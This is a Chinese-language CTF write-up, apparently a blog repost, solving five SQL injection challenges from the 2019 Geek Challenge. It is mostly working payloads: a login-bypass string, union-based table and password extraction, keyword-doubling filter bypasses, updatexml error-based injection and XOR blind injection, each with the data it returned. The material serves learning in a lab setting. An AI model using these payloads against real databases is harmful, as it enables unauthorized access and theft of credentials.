01、[極客大挑戰2019]EasysQL
02、[極客大挑戰2019]LovesQL
03、[極客大挑戰2019]BabysQL
04、[極客大挑戰2019]HardsQL
05、[極客大挑戰2019]FinalsQL
Pass-01

第一題無須太多花里胡哨的直接就是萬能密碼

payload:admin' or 1=1 -- qwe
Pass-02

題目提示 不在當前表 直接先用萬能密碼測驗閉合

提示登錄成功 說明閉合是沒有問題的 那么下面就是判斷其他表的內容
admin' or 1=1 -- + //判斷是否正確閉合
admin' order by [1,2,3,4] -- + //判斷欄位長度 3正常 4報錯 長度為3
1' union select 1,2,3 -- + //判斷回顯點 回顯點 為 2 3
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- + //查詢表名
回顯結果:'geekuser,l0ve1ysq1'
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' -- + //查詢列名
回顯結果:id,username,password
1' union select 1,2,group_concat(password) from l0ve1ysq1 where password like '%flag%' -- + //資料太多 價格 where like 陳述句來直接匯出flag
回顯結果:'flag{13ea6ec1-392d-4bed-9e4d-e6dbdf723b33}'
Pass-03

開始有檢驗了 先執行 回呼錯誤 如下圖

1=1前面沒有內容 這里寫的有or 但是陳述句回呼里面沒有 他說的過濾應該是過濾了 or
這邊給出一些bypass
1.大小寫繞過 (不可用)
2.雙寫繞過(可用)
3. || 替換為編譯符號(可用)
這題后面會發現union 什么的 也會被過濾 所以我直接用雙寫繞過的bypass去繞過,方法如下:
admin' oorr 1=1 -- + //登錄成功
admin' oorrder bbyy 3 -- + //欄位長度為3
//這題太坑 查到最后都沒找到flag 資料居然寫到別的資料庫里面了 難頂 重新來查資料庫
admin1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata -- + //查詢資料庫名
回顯結果:information_schema,mysql,performance_schema,test,ctf,geek
admin1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema="ctf" -- + //查表 這里如果不知道哪些欄位會被過濾 我的辦法是前面admin的框正常輸入,密碼把內容寫進入,如果提示'Input your username and password' 就是被過濾的一點都不剩了 一點點試試吧 ctf 資料庫名 單引導不行 用雙引號
回顯結果:Flag
admin1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag' -- + //查列
回顯結果:flag
admin1' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag -- + //用 database.table_name 的方式來呼叫資料庫
回顯結果:flag{c320590e-cd73-466f-8253-07b7eb730eb2}
以下為查不出資料庫表的查詢方法
admin1' ununionion seselectlect 1,2,group_concat(username) frfromom geekuser whwhereere username like '%flag%' -- + //password里面or被過濾了 or雙寫不行 我直接用 16進制轉
admin1' ununionion seselectlect 1,2,group_concat(id) frfromom b4bsql -- +
Pass-04
萬能密碼測驗 提示逮著我了 大概率正則匹配來做的檢測 推薦先burpsuite跑個fuzz看看哪些陳述句可以用

過濾了and | if sleep substr ascii 所以可以看出 盲注是不行了 丟sqlmap也出不來
or和updatexml沒有過濾 所以這里使用or 配合 updatexml可以實作顯錯注入
1'or(updatexml(1,concat('~',database(),'~'),1))# //查看資料庫名
回顯資料:~geek~
1'or(updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),'~'),1))# //查詢表 用like替換等于
回顯資料:~H4rDsq1~
1'or(updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),'~'),1))# //查詢欄位
回顯資料:id,username,password
1'or(updatexml(1,concat('~',(select(password)from(H4rDsq1)where(username)like('%flag%')),'~'),1))# //查詢結果
回顯資料:~flag{2efa684f-dfe0-4b71-ad7f-97' //長度不夠 substr用不了 只能用left和right分割
1'or(updatexml(1,concat('~',(select(right(password,30))from(H4rDsq1)where(username)like('%flag%')),'~'),1))#
回顯資料:~f-dfe0-4b71-ad7f-978dfbcdfad4}~'
兩行拼接
flag{2efa684f-dfe0-4b71-ad7f-97
f-dfe0-4b71-ad7f-978dfbcdfad4}
結果為:flag{2efa684f-dfe0-4b71-ad7f-978dfbcdfad4}
Pass-05 
如題目提示 注入的方式為 SQL盲注 正確神秘代碼 12345 都沒啥用 提示要點6 傳id=6 過去后也沒啥用 用戶名這塊就是個死變態 直接寫 admin都被抓

過濾了括號就很難頂 所以這里就放棄了在編輯框注入的位置 轉身來到id的位置
id=1^1 提示 ERROR!!!
id=1^1^1 頁面正常 所以這里 最后一個1 為寫入陳述句的地方
試了用updatexml是不行的 盲注的話 sleep時間盲注不行 但是 ascii和substr可以用,且有邏輯運算回顯點
Payload:
(length(database())>1) //測量資料庫長度 跳過
ascii(substr(database(),1,1))>1 //測量資料庫長度 跳過
(length((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))>1) //表名長度 長度為16
ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),i,1))=s //丟burpsuite跑結果 變數i 為上面查的 16 變數s為ascii的最大長度為 128
表名為 =>70 49 110 97 73 49 121 44 70 108 97 97 97 97 97 103 =>F1naI1y,Flaaaaag //這里其實之前查過flaaag這個表 密碼根本就不在里面 而且長度為5000多 我吐了
(length((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')))>1) //測量欄位長度 長度為20
(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),i,1))=s)
表名為=>105 100 44 117 115 101 114 110 97 109 101 44 112 97 115 115 119 111 114 100=>id,username,password
(length((select(group_concat(username))from(F1naI1y)))=50) //長度為50
(ascii(substr((select(group_concat(username))from(F1naI1y)),i,1))=s)
表名為=>109 121 103 111 100 44 119 101 108 99 111 109 101 44 115 105 116 101 44 115 105 116 101 44 115 105 116 101 44 115 105 116 101 44 83 121 99 44 102 105 110 97 108 108 121 44 102 108 97 103 =>mygod,welcome,site,site,site,site,Syc,finally,flag // 這里用notepad++ 匹配\r\n 替換為空格
(length((select(group_concat(password))from(F1naI1y)))=213) 看見我就哭了 跑吧 就用burpsuite 寫python總會想用別人的抄 記憶不深
終于出來了 cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{91a80fa0-b1ac-4a10-b36d-e605f80bd8f9}
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/302720.html
標籤:其他
上一篇:i春秋CTF Hash
下一篇:Linux系統檔案安全與權限
